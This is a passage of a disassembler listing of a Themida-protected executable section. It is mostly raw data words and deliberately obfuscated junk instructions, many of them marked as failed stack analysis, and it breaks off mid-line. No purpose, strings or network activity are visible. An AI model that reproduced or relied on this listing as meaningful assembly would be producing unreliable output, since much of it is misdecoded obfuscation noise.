dd 0C3DD3400h, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh, 810034DAh dd 0EDDFFCEAh, 3EBB603Ch, 6178463Ch, 0FB0A46BBh, 0DFB70F3Dh dd 43BA66F9h, 8A0FF881h, 9, 38E0Fh db 2 dup(0), 66h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_603DC7 loc_603E4B: ; CODE XREF: sub_603DC7:loc_603DE3j mov edi, edx pusha mov esi, eax mov edi, 637C7E18h popa mov eax, edi adc si, 31A3h push edx or si, 0ED98h pop edi stc jmp loc_603E78 ; END OF FUNCTION CHUNK FOR sub_603DC7 ; --------------------------------------------------------------------------- dw 8AE2h dd 0D6D5EA07h, 1FAABE1Bh, 7370850h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_603DC7 loc_603E78: ; CODE XREF: sub_603DC7+9Ej mov cx, di mov edi, ebx mov eax, ecx mov edx, ebx pusha stc add edx, 57CFBB0h ; CODE XREF: sub_603EBE+25j popa mov di, bx call sub_603E97 xor bh, [edi] sbb al, 2Ch push ecx ; END OF FUNCTION CHUNK FOR sub_603DC7 ; =============== S U B R O U T I N E ======================================= sub_603E97 proc near ; CODE XREF: sub_603DC7+C6p mov dl, 0F2h pop esi mov edx, 778B8B23h movzx esi, ax mov esi, 0B801831h pusha mov si, ax mov cl, 0F8h popa pusha call sub_603EBE pop ebx pushf wait add bh, [ebx+4D45C334h] xchg eax, ebx sub_603E97 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_603EBE proc near ; CODE XREF: sub_603E97+18p jo $+6 pop edi mov dh, 17h popa jbe loc_603ED1 mov ax, dx loc_603ED1: ; CODE XREF: sub_603EBE+Aj mov esi, 5225A380h pusha ja near ptr loc_603EEE+4 call near ptr loc_603EEE+3 pop es jp short near ptr loc_603E83+2 cmp bl, ah push ebx db 66h sub al, 0E3h mov gs, sp std loc_603EEE: ; CODE XREF: sub_603EBE+1Fp ; sub_603EBE+19j cmp ds:8166605Fh[ecx*8], ch sub_603EBE endp ; sp-analysis failed neg byte ptr [esi] push edi mov edi, 641D3ED8h popa popa jmp loc_603F14 ; --------------------------------------------------------------------------- adc dl, ah push ds rcr dword ptr [ecx], cl mov esp, 8A495425h cmp al, 0DDh pop ebx test ah, al dec esp loc_603F14: ; CODE XREF: Themida_:00603EFFj mov ah, dh call sub_603F25 loop near ptr loc_603F8A+1 sar byte ptr [edi+15h], cl fstp9 st(3) iret ; --------------------------------------------------------------------------- cmpsd wait ; =============== S U B R O U T I N E ======================================= sub_603F25 proc near ; CODE XREF: Themida_:00603F16p movsx edi, cx pop esi sub cx, 224Ah clc stc jmp loc_603F49 ; --------------------------------------------------------------------------- or dl, 0D4h div byte ptr [edi-65CD727Eh] mov cl, 0A8h sbb al, 27h adc ebp, ebp db 64h aas pop esi retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- loc_603F49: ; CODE XREF: sub_603F25+Bj mov si, di adc ch, 0C6h mov al, bl mov cx, 8D08h add bx, 7B23h mov dl, bh mov ax, 2251h mov dh, 80h movsx ecx, di stc js loc_603F73 push esi mov edx, 30BAFFD3h pop edi loc_603F73: ; CODE XREF: sub_603F25+41j movzx esi, bx jmp loc_603F85 ; --------------------------------------------------------------------------- db 0C1h dd 977B4A7Fh, 9874E1FDh ; --------------------------------------------------------------------------- inc ebx loc_603F85: ; CODE XREF: sub_603F25+51j adc di, 27F0h loc_603F8A: ; CODE XREF: Themida_:00603F1Bj jmp loc_603F9E ; --------------------------------------------------------------------------- fisttp qword ptr [ecx-3F0948E6h] xchg eax, edx push 0FFFFFFE3h lodsb cdq xchg eax, ecx sbb [edx+42h], edx loc_603F9E: ; CODE XREF: sub_603F25:loc_603F8Aj clc mov bx, 27Ch add ax, 42A0h jmp loc_603FBE ; --------------------------------------------------------------------------- db 61h, 3Bh, 7Ch dd 0B66F87E7h, 52029001h, 0A3BF81DDh db 5Ah, 0 ; --------------------------------------------------------------------------- loc_603FBE: ; CODE XREF: sub_603F25+83j mov si, dx jmp loc_603FD1 ; --------------------------------------------------------------------------- dw 3A63h dd 56FB4DBDh, 0F1F35B22h db 8 ; --------------------------------------------------------------------------- loc_603FD1: ; CODE XREF: sub_603F25+9Cj mov eax, edx mov si, 0E0AFh jmp loc_603FF0 ; --------------------------------------------------------------------------- dd 0BAF8E855h, 64B21132h, 788360CAh, 6A767FDDh, 601FBA2Fh ; --------------------------------------------------------------------------- loc_603FF0: ; CODE XREF: sub_603F25+B2j mov esi, edx movzx ecx, si jmp loc_60400B ; --------------------------------------------------------------------------- dw 7332h dd 0E02D2768h, 0D61BEE5Fh, 31263751h db 53h, 0E5h, 0DBh ; --------------------------------------------------------------------------- loc_60400B: ; CODE XREF: sub_603F25+D0j pusha mov ax, 27h jg $+6 popa mov ebx, 3F4202F2h xor si, 0B055h push ebx jmp loc_604037 ; --------------------------------------------------------------------------- db 0A9h dd 593BEC2Ch, 0DF0E522Dh, 7587AD1Ah db 0Ch, 65h, 0Dh ; --------------------------------------------------------------------------- loc_604037: ; CODE XREF: sub_603F25+FDj pop ebx jns loc_60403F stc loc_60403F: ; CODE XREF: sub_603F25+113j ; sub_604095+1Bj jmp loc_60404D ; --------------------------------------------------------------------------- dd 7CDFA005h, 7B0E762Bh ; --------------------------------------------------------------------------- stosd loc_60404D: ; CODE XREF: sub_603F25:loc_60403Fj call near ptr loc_604053+4 insb loc_604053: ; CODE XREF: sub_603F25:loc_60404Dp mov ebp, 5B045A9Fh sub_603F25 endp ; sp-analysis failed cmc jmp loc_604069 ; --------------------------------------------------------------------------- cmp [edi+7Bh], bh mov ah, [esi-73DB0B64h] xor al, 0E2h loc_604069: ; CODE XREF: Themida_:00604059j and edx, 0F2007EDh adc edi, 1374F706h push edi mov si, ax pop ecx push esi pop esi call sub_604095 shr dword ptr [eax], 1 jmp far ptr 0B923h:82A580B0h ; --------------------------------------------------------------------------- dw 0E3A2h dd 379C97E4h, 9C10848Bh db 3Eh ; =============== S U B R O U T I N E ======================================= sub_604095 proc near ; CODE XREF: Themida_:0060407Cp mov si, cx pop ebx clc jmp loc_6040A7 ; --------------------------------------------------------------------------- and [edi-64C2A562h], ebx lea esi, [ecx] loc_6040A7: ; CODE XREF: sub_604095+5j or ah, 0Bh push ecx call near ptr loc_6040BD+1 jns short near ptr loc_60403F+3 push 79h arpl di, dx mov edx, 0D9A4AE77h mov dl, 0BCh loc_6040BD: ; CODE XREF: sub_604095+16p adc al, 0E9h sub_604095 endp ; sp-analysis failed sldt word ptr [eax] add [edi+2Dh], bh sub [esi-0AE4DCFCh], dh or [eax-2D5DD126h], edx jmp short loc_60412B ; --------------------------------------------------------------------------- db 5Ah dd 0F37953BFh, 75E2815Fh, 0E83A76A3h, 0Ah, 973CE4AAh, 0DBB3EC84h dd 53562373h, 0F5B5A5Eh, 0B88h, 5880F00h, 0B9000000h, 5FDFA7DCh dd 0A3C68166h, 7E8CDh, 0CEE90000h, 0A121DD32h, 84E2810Fh dd 5B058366h, 5E8h, 62FE0A00h, 870F98DAh db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_60412B: ; CODE XREF: Themida_:006040D1j add [esi-7Fh], ah shl byte ptr [esi], 0FBh pop ebx jnb loc_604157 call sub_604150 and al, 8Eh out dx, eax in al, 0E3h xchg cl, [edi+6Ah] push ds jmp near ptr 484374EDh ; --------------------------------------------------------------------------- db 32h dd 8744395Ch ; =============== S U B R O U T I N E ======================================= sub_604150 proc near ; CODE XREF: Themida_:00604138p jbe $+6 pop esi loc_604157: ; CODE XREF: Themida_:00604132j mov ax, 9B88h adc bl, 5Eh push edx mov ax, cx pop eax mov dx, 877Fh mov si, 0ED06h movsx edx, dx mov edi, 2A4B1907h and esi, 8D9D7A5h call sub_60418E imul edi, [edi+esi+6Bh], -78h sbb edi, [eax] sub bh, dl movsb cmc fdiv qword ptr [edx+esi*4] or edi, esi sub_604150 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60418E proc near ; CODE XREF: sub_604150+29p mov edi, edx pop ebx mov ebx, 4322B395h mov eax, 292E3B84h call near ptr loc_6041B0+1 mov [ebx-54h], edi icebp xor edi, [eax-13h] lds edi, [ecx-17C53B94h] aaa out 98h, eax loc_6041B0: ; CODE XREF: sub_60418E+Dp cmp al, 0E9h sub_60418E endp ; sp-analysis failed adc eax, [eax] ; --------------------------------------------------------------------------- dd 0DBB20000h, 0EF9BE7D0h, 3D4E3B2Bh, 0C5EBEE7h, 0AD244384h dd 0BA5158E1h, 18EEC5F9h, 605E5058h, 0AABAD5B9h, 8B666073h dd 0C68166FAh, 616159FEh, 0AE9E28Ah, 47000000h, 5A6FFBE4h dd 0C33E53B4h, 66F38A17h, 8166D18Bh, 0F1946EFh, 383h, 0C7B70F00h dd 52D68B66h, 4E8ABB66h, 94F6815Eh, 81465CB6h, 28B939E0h dd 0DF8B6642h, 0B9D0BF0Fh, 6AC3CA39h, 17E08166h, 800FD4h dd 50000000h, 6059DA8Bh, 5E9h, 0DC1C0F00h, 5260B72Dh, 6161F85Eh dd 4820Fh, 0B8660000h, 870F0CEDh, 2, 0D68BCE8Bh, 18E0FF5h dd 0FC000000h, 188D0Fh, 0E9570000h, 11h, 71713CFEh, 6A5F3C6Ch dd 131A6DCEh, 4B9213EFh, 0E2815B69h, 0FECBD1Bh, 0FD98B66h dd 58Ah, 0F0816600h, 0B70FD3DBh, 5820FDFh, 0BF000000h dd 6CE2842Ah, 0D9B3D781h, 8AF87108h, 605256FAh, 66595861h dd 0F3CE9B8h, 6660F1BFh, 6F11DA81h, 61E0C780h, 6860Fh dd 0F0810000h, 209F984h, 81D78B66h, 6E8944CAh, 8166F827h dd 0E9D510CBh, 6, 9C869EB3h, 0F381B0D4h, 1D4D2491h, 0EFCB8166h dd 8C0F48h, 80000000h, 13E8B3CFh, 0D4000000h, 1565A4EAh dd 767E14CDh, 31281E1Bh, 11A7459Dh, 5FF9B36Dh, 665AF850h dd 0CE9CF8Bh, 89000000h, 1F4286ECh, 0F0A010B8h, 0F257CC1h dd 8Ah, 0DE8B6600h, 0AE9h, 0BD33000h, 65C88403h, 0E9FDD031h dd 5, 9254BCEh, 93DB8060h, 8463F3BFh, 9E954h, 83EC0000h dd 22D84564h, 60F8133Dh, 0AE9h, 39FE0300h, 0BD960706h dd 0F3EC9B1h, 689h, 8E0F00h, 61000000h, 7F2295B8h, 6E904h dd 0F8510000h, 0C907FFDDh, 0DE9h, 0BFB39000h, 32E88FE5h dd 69137C67h, 0EE9A6B3h, 0C000000h, 5584719h, 3E73082Ch dd 0CB56F263h, 13E9D2h, 77E60000h, 1D814B0Ah, 8BA98004h dd 4F231846h, 0BC7F6321h, 0FCD681D3h, 66053CB3h, 0BB66F18Bh dd 0CF81B21Ch, 739E4211h, 0C266BF66h, 58C0Fh, 81660000h dd 0E99448E1h, 8, 62C745FDh, 1A7F1189h, 14E8F5h, 0BE3D0000h dd 0A2BA8854h, 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 0C480396Eh dd 0E9F8591Bh, 14h, 14D235D4h, 0B1CE6615h, 359E40B4h, 63540764h dd 986AF9C0h, 0CE8h, 0BEE86B00h, 68354A59h, 0B6CCED09h dd 38B0F90h, 80000000h, 0B8584DD4h, 502038A5h, 4ECE3EBFh dd 0C781663Ch, 13E91C9Fh, 82000000h, 141AD47Eh, 71088A9Dh dd 1D935C5h, 4B28C851h, 9E81BEFh, 0BF000000h, 647E926Ch dd 541B94D6h, 463B966h, 8B0F5258h, 6, 8B0Fh, 0F5F0000h dd 0FE9FEB7h, 5000000h, 5EA3A396h, 0B286DC5Fh, 38C9F333h dd 10E99FD8h, 0C5000000h, 0D309B6E7h, 99DEB772h, 0BA1B9203h dd 0B43C5073h, 5502B87Dh, 13E91215h, 0F0000000h, 22CFB0FFh dd 21EC921Ah, 0E21F2C22h, 27EBCEC0h, 8B0FF0F6h, 2, 0E96075B2h dd 9, 5D3CA49h, 8DE953F5h, 0B70F6187h, 8E956F1h, 5B000000h dd 0DAEDEF2h, 5E374E55h, 8166AEB4h, 0F1ABCCEh, 48Eh, 14BE6600h dd 0F565083h, 8Ch, 0FC585E00h, 0ABDB8160h, 0B9055D9Bh dd 2A4AAD66h, 66CE8B61h, 22AFEB81h, 0BE8h, 0F8F4200h, 0BFCF83C5h dd 60F9A6E1h, 0DD9CD4BAh, 2FB25E6Fh, 6E8h, 60FB0700h, 66D09D8Ah dd 0F30C781h, 0B856605Eh, 56A0BE55h, 0D181605Bh, 6F89E779h dd 8E8h, 20E33E00h, 0CC5412BBh, 61615A6Fh, 12C78166h, 80E38A9Ah dd 0BF66C8C6h, 850F7EFEh, 0Ah, 0F616060h, 8Fh, 8B666100h dd 0B6BE66CFh, 0B850F23h, 0E9000000h, 6, 4795E409h, 8B937C4h dd 661BD001h, 8242C681h, 58DA8B57h, 0F6BD180h, 182h, 6E9FC00h dd 9C000000h, 0B32535B9h, 9E9A2h, 8A9D0000h, 35C57108h dd 0FC5101D9h, 0CE9CB8Bh, 64000000h, 70C4F2D9h, 90AF4933h dd 0F567200h, 58Dh, 0C0816600h, 0CE96068h, 0F2000000h dd 5FC0D932h, 1A25C20Eh, 0E9C578DBh, 5, 5196D32Dh, 0BB666077h dd 8B665F19h, 59BF61F1h, 665C29F3h, 12E8F18Bh, 52000000h dd 0A38119AEh, 5736BAB4h, 593499E9h, 0AC1D99B0h, 0CB816653h dd 815B6A9Bh, 6F17DAC6h, 0D681664Eh, 0B966FA5Eh, 0DA8B5992h dd 158B0Fh, 10E90000h, 2E000000h, 87ABFDF1h, 59E61893h dd 77283422h, 0E912EF0Ch, 12h, 61BF4F81h, 67261554h, 737D13D0h dd 87A9F9Dh, 0D3BA24C1h, 8A76299Dh, 73D780E3h, 7E9F88Bh dd 0 dd 0D786BBA4h, 81663647h, 0F6E28EAh, 1F8Dh, 198E0F00h dd 0E8000000h, 13h, 0A6941399h, 0F4ED61F6h, 3260D337h dd 0CE76EB6Fh, 5EE48A81h, 61DDC681h, 0BF0F124Ah, 14E9DBh dd 7FA60000h, 6ED57299h, 1ED247C3h, 0B1C2E2C1h, 0A7E4F3E0h dd 0B70F1D96h, 8AE78ADBh, 7810FEFh, 50000000h, 0A7FB4DBBh dd 8B665A2Dh, 0A9E980DFh, 0DE8h, 3C2E0C00h, 8864E881h dd 23EB6A2Ah, 77B9B130h, 5F38356Eh, 0BE8h, 0CB144800h dd 0A41F1EE8h, 0C346C478h, 3840Fh, 8B660000h, 5E958C7h dd 53000000h, 36C4689Ah, 0F05882BBh, 0F18B662Ah, 0E0FDE881h dd 77B67561h, 6850Fh, 0DA810000h, 69605CDAh, 14E8h, 0F5DB5D00h dd 570E5AC9h, 0A4FF44F1h, 172B6BD8h, 1558B79Ch, 12E842h dd 18ED0000h, 0B3A269F0h, 833567B1h, 829AADFFh, 0CF400BD2h dd 40FEBA66h, 0EB815A5Eh, 5962D179h, 0DE9h, 83AE400h, 511CF201h dd 6361541Dh, 5E8073Fh, 0E8000000h, 0E983DF0Dh, 5E8h, 5D9C4500h dd 42BF6D2Ah, 5E7637DAh, 24B9605Fh, 6147E0A9h, 0BE860F5h dd 6C000000h, 5388B34Bh, 95D85EB2h, 0F5BF2693h, 5E241131h dd 8A615F52h, 0F8FB1C7h, 88h, 0E9CF8B00h, 11h, 0E8A88DF0h dd 863ECCD5h, 2915B93Ch, 0DA2A9865h, 98F48050h, 6597BF66h dd 10E8h, 0E4C09800h, 82DD2DD2h, 0EC430C2Bh, 0B66B9560h dd 0FFBF6675h, 0F605E5Bh, 0E681FEB7h, 719472Ah, 17EB8161h dd 6008A434h, 40DB8166h, 15DE8175h, 61163242h, 12E8CF8Bh dd 5F000000h, 13626145h, 7B52A837h, 8646E1DFh, 727BC774h dd 0CE90Fh, 0D1D50000h, 0C10DC266h, 5CA0CCF7h, 505FD3C7h dd 5149F081h, 0E9584B0Eh, 0Bh, 552E9756h, 3BD21261h, 0F543B1B7h dd 6410BA66h, 0CE8h, 999A8A00h, 1AAF7307h, 8A19D9DDh, 6870F6Ch dd 0F000000h, 87h, 0FF55B00h, 8B66FEB7h, 0F38166D8h, 800F3C1Ch dd 19h, 14E9h, 709DEA00h, 33ED6672h, 423A8694h, 0F9BAB94Bh dd 155062CCh, 8F0F8Ah, 0E8000000h, 7, 11C73A4Dh, 0E9768E0Dh dd 0Fh, 30B5485Dh, 44808933h, 0F72B8B5Ch, 58DFEB86h, 0A46F2BBFh dd 0DE85Eh, 0ACCB0000h, 48F295E1h, 0E8F01160h, 665EA9CDh dd 0E958DF8Bh, 0Fh, 0A7C0D1C7h, 0ECD4F8E2h, 898D8323h dd 0B99BC86Ah, 5876F005h, 2830Fh, 0B2B30000h, 68C0F60h dd 0F000000h, 8Ch, 0CF816600h, 8161DDC1h, 9CAC48C7h, 0EDDB813Ch dd 5621D68Bh, 8B58FE8Ah, 0C2DE81C2h, 0F90D4D57h, 0E8C1B70Fh dd 13h, 0ED479472h, 1345414Ah, 0D9F6EE80h, 989D42CCh, 0E8228DF2h dd 12h, 3D7E7D34h, 0AC35D657h, 2DC7862Bh, 3C307880h, 5F5BD323h dd 4810Fh, 60560000h, 12E95861h, 0 dd 0F55A66D9h, 0A6451232h, 6198F245h, 0C2E6C3BFh, 3840F8Dh dd 0F000000h, 8A0FC8B7h, 4, 5BDA8A57h, 7E9h, 8B5FA300h dd 814288ECh, 604CD380h, 0FC26E580h, 0AE961h, 94600000h dd 1A237BDh, 0F19C39C4h, 5E9h, 0F36EC500h, 0B656D91Ah dd 0C18B586Bh, 118E0Fh, 5E80000h, 0E2000000h, 2F6DD56Bh dd 0B8FFC881h, 66591810h, 0D413E981h, 0FCEB70Fh, 0A8Bh dd 5E900h, 1A3F0000h, 8BEA890Dh, 98F0FCFh, 0F000000h, 385h dd 0DBB70F00h, 0AE950h, 0D7100000h, 2519B21h, 0E0FE9849h dd 2850F59h, 8A000000h, 0AE956F7h, 0F9000000h, 827BB7B5h dd 0CE7F25A9h, 8E959E8h, 6000000h, 0AD381A9h, 661FA6DFh dd 1E35DE81h, 0CEBFBAB6h, 601BD540h, 784B866h, 61F3BF0Fh dd 14E9F8h, 0C50F0000h, 0E1BFCF83h, 9860F9A6h, 0BD1E565Fh dd 0D78A12C9h, 0BF0FFF9Bh, 0FED781FFh, 6674B616h, 0E9B895BEh dd 0Dh, 98115843h, 9940E536h, 0DDEA9F4Dh, 92D18169h, 606E8EA2h dd 0F5C8BF0Fh, 0B866FC61h, 13E90586h, 1F000000h, 60F7A04h dd 87EB6E8Dh, 18F16353h, 8E456AE4h, 10E9503Eh, 0E0000000h dd 0C45D7E9Dh, 15A1A795h, 24BA5261h, 0B10A2F7Ah, 0C28B66D6h dd 6097F280h, 4860Fh, 0B8660000h, 0BF0F67E8h, 0C28B61C6h dd 2890F57h, 8A000000h, 0C78B5AC5h, 0FCDFBF0Fh, 8303BB66h dd 0FA16EB81h, 8B6635BEh, 0E9F2B7FEh, 6, 376DADF8h, 5EB96ED2h dd 0F675591h, 480h, 24BE6600h, 66DD8AFBh, 669F0EB8h, 8B5F1DBFh dd 0D08B66F3h, 272EB866h, 0BE8h, 9CAD6100h, 684FF425h dd 1F0B5F23h, 2DD0F381h, 665A6F73h, 8B6A2BBEh, 8B6660D7h dd 0C6B7B9DAh, 0F615184h, 89h, 0AE900h, 12460000h, 0B8E2E731h dd 6B9AECFDh, 13E8h, 26082900h, 671AD93Ch, 23A9A814h, 961EA16Eh dd 9DF891F6h, 5F5BF557h, 158E0Fh, 10E90000h, 0F5000000h dd 73B32479h, 0A0A75E7Bh, 527ED8A1h, 0FFC7161h, 988h, 38D0F00h dd 0F000000h, 5FBFFBB7h, 0B92EA171h, 11FC9009h, 0E911FFBAh dd 5E92Fh, 87840000h, 813F18E2h, 725104F2h, 94BA660Ch dd 0E9A5B6DCh, 14h, 0EE8F3B4Ah, 35381C0Bh, 0A5CB8FDEh dd 539721BBh, 1C870B3h, 0E7D88166h, 0FA8B66C6h, 0FF3B70Fh dd 387h, 0F88B6600h, 9E9h, 157C1100h, 0FEA2A21Eh, 0B70FC2CAh dd 0B131BFC2h, 0BF0F774Ch, 0BA66F9C3h, 0CA818872h, 156406DCh dd 0A8D0Fh, 0F600000h, 8Ah, 61C18A00h, 8BD1B70Fh, 0F08166F3h dd 0B966AC35h, 0BE96AF5h, 6A000000h, 0B0B4619Fh, 7B45196Ah dd 81666578h, 0E995A0CBh, 14h, 0CBD5D162h, 0D70FB1CBh dd 3E22CB86h, 7FD12C9Ch, 5FD93DAh, 0F02EB80h, 2089h, 1A810F00h dd 0E8000000h, 14h, 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h dd 3F9EEA16h, 0BE06BB5Eh, 8A0F4D51h, 3, 0E973C980h, 0Ah dd 0DAF9CAFh, 4F03844Ch, 8B66EF01h, 0CE8F2h, 92850000h dd 8A0F4EFDh, 4C979402h, 9CB5C136h, 515CB159h, 0F210BF66h dd 6BB86658h, 0F18166C8h, 8F0F5858h, 0 ; --------------------------------------------------------------------------- call sub_604D46 aaa add ecx, 0Dh mov esi, 0C2FDBE24h ; =============== S U B R O U T I N E ======================================= sub_604D46 proc near ; CODE XREF: Themida_:00604D38p cmc pop edx jg loc_604D60 jmp loc_604D60 ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- cmp al, 38h aad 1Ch retn 389Bh ; --------------------------------------------------------------------------- db 0AAh dd 8D4A41C9h ; --------------------------------------------------------------------------- loc_604D60: ; CODE XREF: sub_604D46+2j ; sub_604D46+8j mov al, 81h cmc movsx esi, bx add bh, 9Ah jns loc_604D70 cmc loc_604D70: ; CODE XREF: sub_604D46+23j mov si, ax sbb edi, 68270DAh call loc_604D88 cmp [ecx+edi*8-41023D0Ah], dh adc al, 11h pop esp sub_604D46 endp ; sp-analysis failed loc_604D88: ; CODE XREF: sub_604D46+33p pop eax jnz loc_604D92 mov bx, ax loc_604D92: ; CODE XREF: Themida_:00604D89j mov dx, 0D068h movzx eax, dx clc pusha mov bx, 204Ch movzx ecx, ax popa jp loc_604DAB mov esi, eax loc_604DAB: ; CODE XREF: Themida_:00604DA3j pusha jmp loc_604DC4 ; --------------------------------------------------------------------------- db 0E8h, 5Bh, 0A1h dd 0C0F19B81h, 4CE9E007h, 0F85D8A20h, 0A29D7C59h ; --------------------------------------------------------------------------- loc_604DC4: ; CODE XREF: Themida_:00604DACj jmp loc_604DD4 ; --------------------------------------------------------------------------- db 4Ch, 87h, 0FAh dd 5A29A01Fh, 6FD868EEh ; --------------------------------------------------------------------------- loc_604DD4: ; CODE XREF: Themida_:loc_604DC4j popa movzx edx, dx mov bx, 2220h xor esi, 68F7EA6Fh mov ebx, 26A42692h mov ah, 79h cld and edi, 33DC585h cmc jmp loc_604DFC ; --------------------------------------------------------------------------- test eax, 9727F27Ah leave loc_604DFC: ; CODE XREF: Themida_:00604DF1j clc mov bh, 0ABh mov dh, 3Eh call sub_604E12 ; --------------------------------------------------------------------------- dw 95FEh dd 2DEC9E19h, 0A384EC47h db 49h, 0BFh ; =============== S U B R O U T I N E ======================================= sub_604E12 proc near ; CODE XREF: Themida_:00604E01p call loc_604E22 add bl, [eax-11BAF56Fh] and esp, ecx sub ah, [esi] into sub_604E12 endp ; sp-analysis failed loc_604E22: ; CODE XREF: sub_604E12p add ax, 52ABh pop esi pop ecx mov dx, 314Bh adc edx, 443C58BBh mov edi, 40CF8E44h mov eax, edi pusha jmp loc_604E4B ; --------------------------------------------------------------------------- dd 5CBDC32Ch, 0B159332h db 0DDh, 0C0h, 33h ; --------------------------------------------------------------------------- loc_604E4B: ; CODE XREF: Themida_:00604E3Bj call near ptr sub_604E56 ; --------------------------------------------------------------------------- dd 0B37DD362h db 0FAh, 0B3h ; =============== S U B R O U T I N E ======================================= sub_604E56 proc far ; CODE XREF: Themida_:loc_604E4Bp mov dh, cl pop ecx popa mov al, dh adc si, 0AAF0h jmp loc_604E77 ; --------------------------------------------------------------------------- fcmovne st, st(2) cmp eax, 0DF45450Bh retf ; --------------------------------------------------------------------------- dw 0CDD5h dd 99A55154h db 78h, 63h, 4 ; --------------------------------------------------------------------------- loc_604E77: ; CODE XREF: sub_604E56+Bj jmp loc_604E8E ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 0EC12h dd 125EECA1h, 2AB413B9h, 0EAB696DEh db 3Eh, 14h ; --------------------------------------------------------------------------- loc_604E8E: ; CODE XREF: sub_604E56:loc_604E77j clc mov edi, eax mov edx, edi mov cl, al call sub_604EAA dec ecx db 67h sbb eax, 97EE631Ah mul al into retf sub_604E56 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6Ah, 22h, 0E7h db 9Dh, 6Bh ; =============== S U B R O U T I N E ======================================= sub_604EAA proc near ; CODE XREF: sub_604E56+3Fp push ecx or di, 7Dh pop edi pop edi mov ah, 0CEh call near ptr loc_604EC8+1 imul edi, [ebx], 733714A4h fucomip st, st(1) push ecx pusha xor ch, 60h add al, 0A5h loc_604EC8: ; CODE XREF: sub_604EAA+Ap fisub word ptr [esi-7Fh] sub_604EAA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0DBh dd 665AD2E7h, 0DDAFCF81h, 0FE8h, 14E7700h, 0F745EDF8h dd 2994AC70h, 5BED1E46h, 8F0Fh, 8A580000h, 7436BAF9h, 0B70F0024h dd 0FC28BC9h, 0BF0FF3B7h, 0B5B966D0h, 8166573Ch, 5BA1F4E7h dd 0F07BB66h, 810F5CB6h, 4, 3182B966h, 45D706B9h, 0D38B6619h dd 0CE9h, 0B64ED200h, 7F73D7D2h, 0B660770Ch, 8B5652CCh dd 665E5EFBh, 0E90422BAh, 0Bh, 2C348606h, 980A1249h, 66DABD09h dd 8783CA81h, 11E9h, 0E8BC0600h, 0EB093ED9h, 75EAA7F8h dd 79DCA871h, 16B8255Dh, 0E91559F9h, 12h, 9BEC8CDCh, 0DDC776B2h dd 0C5D42F64h, 0DBC60F3Ah, 0E9516084h, 0Ah, 8DE7521Ch dd 2D6E5745h, 0E85FA3A1h, 0Dh, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h dd 48F0F82h, 66000000h, 5E673EB9h, 9E8h, 7C3F5200h, 9FBB0B8Bh dd 5BF86748h, 0EE9h, 0A7399100h, 2D5E41D5h, 0B435EED1h dd 0BF8D4C24h, 6731A3B7h, 8ACA8B66h, 0EB8166D5h, 8C0F46F9h dd 1, 0E4D8BFF8h, 0CE857B7h, 33000000h, 0B32B27C6h, 0DEB536E8h dd 0E96C9A0Fh, 0Bh, 23F6A8BBh, 60CD298Dh, 5BCD3D6Ch, 0FFE8BFCh dd 380h, 68EE8000h, 8E8h, 0BC2B9200h, 8B50B8DFh, 0C28B5A9Fh dd 8291B966h, 8E9h, 8ABE7B00h, 5CA403EBh, 12E86Bh, 0EA890000h dd 3F8A8A07h, 705A73E4h, 195DC509h, 61B42056h, 820F53h dd 5A000000h, 0C68B6659h, 8166C18Bh, 665D06CAh, 60A7F8B9h dd 6E9h, 2A806F00h, 0F4BDC92h, 380h, 0D0BF0F00h, 0C1816661h dd 8B6688ECh, 13E9C7h, 0EB1D0000h, 0B144830Ch, 4C2658D2h dd 448DD497h, 0F274D38Bh, 0FB8B6651h, 2870Fh, 0C88B0000h dd 3BF0E881h, 0BB533265h, 5487C80Eh, 8E95Fh, 0AC410000h dd 8B8E717h, 0F98A016Fh, 9E8C38Bh, 0DA000000h, 453F315Ah dd 9BCB0501h, 8A5AD98Bh, 0F6B70FD9h, 4260BF66h, 10E9h dd 772B0B00h, 65C2CEB9h, 0D254B8A3h, 0AAAF433Dh, 0FC78056h dd 18A0Fh, 66FC0000h, 667271BEh, 0B55EE681h, 5E9h, 43C04D00h dd 81666F00h, 81C85AE9h, 99B08CDFh, 0F081662Fh, 0E850E9E5h dd 13h, 0C98A6472h, 0AEEE08E1h, 0C1802C9Dh, 4790AC6Ch dd 66412A99h, 0A0B7C181h, 12E85B5Fh, 44000000h, 8C4AE6BBh dd 227D9062h, 15980630h, 0D1E36502h, 6E9C4h, 3C10000h dd 61685D3Ah, 0C6816059h, 2F175BE7h, 5AE38166h, 8E96187h dd 0AB000000h, 6A9D34BDh, 669FE704h, 0C380CF8Bh, 7DD081C9h dd 0BA1F064Ch, 6442D490h, 58F0Fh, 4CBF0000h, 0F57BE606h dd 0CBB70FF8h, 66C9F780h, 0F1DC781h, 0D68166F8h, 8166306Ah dd 0E83637D8h, 11h, 0F4C1B826h, 8B2808CBh, 8DCC32D7h, 6AFD56CCh dd 0DA8B66E4h, 10E95Eh, 0ED970000h, 6D8D9DAh, 6FF40570h dd 738149FDh, 820F12E1h, 2, 0F081DE8Bh, 35B43FCBh, 11800Fh dd 6E80000h, 7D000000h, 0D3E7569h, 0EBB9BA65h, 0F85F5059h dd 8B7EB866h, 268A0Fh, 7E80000h, 90000000h, 0EEDC47DDh dd 14E96D5Ah, 8D000000h, 1972FFDh, 866BC567h, 0F6F1607h dd 5EEBB7A5h, 5E1D0FD7h, 0AE9F5h, 7E190000h, 0BC0B4EA1h dd 0BF8E74BFh, 10F38166h, 0A9B4576Ah, 45D2815Bh, 0E8102507h dd 13h, 648C7435h, 577173Ch, 35E90BA1h, 1D61C655h, 0E8DC9724h dd 12h, 5199ECAAh, 0CD5A8F0h, 0C137A2C5h, 43FF39F9h, 820F0E71h dd 0 ; --------------------------------------------------------------------------- pop esi pop esi jb loc_60529F movsx edi, ax loc_60529F: ; CODE XREF: Themida_:00605296j call near ptr loc_6052AA+2 not byte ptr [ecx+ebp] mov ch, 0C7h loc_6052AA: ; CODE XREF: 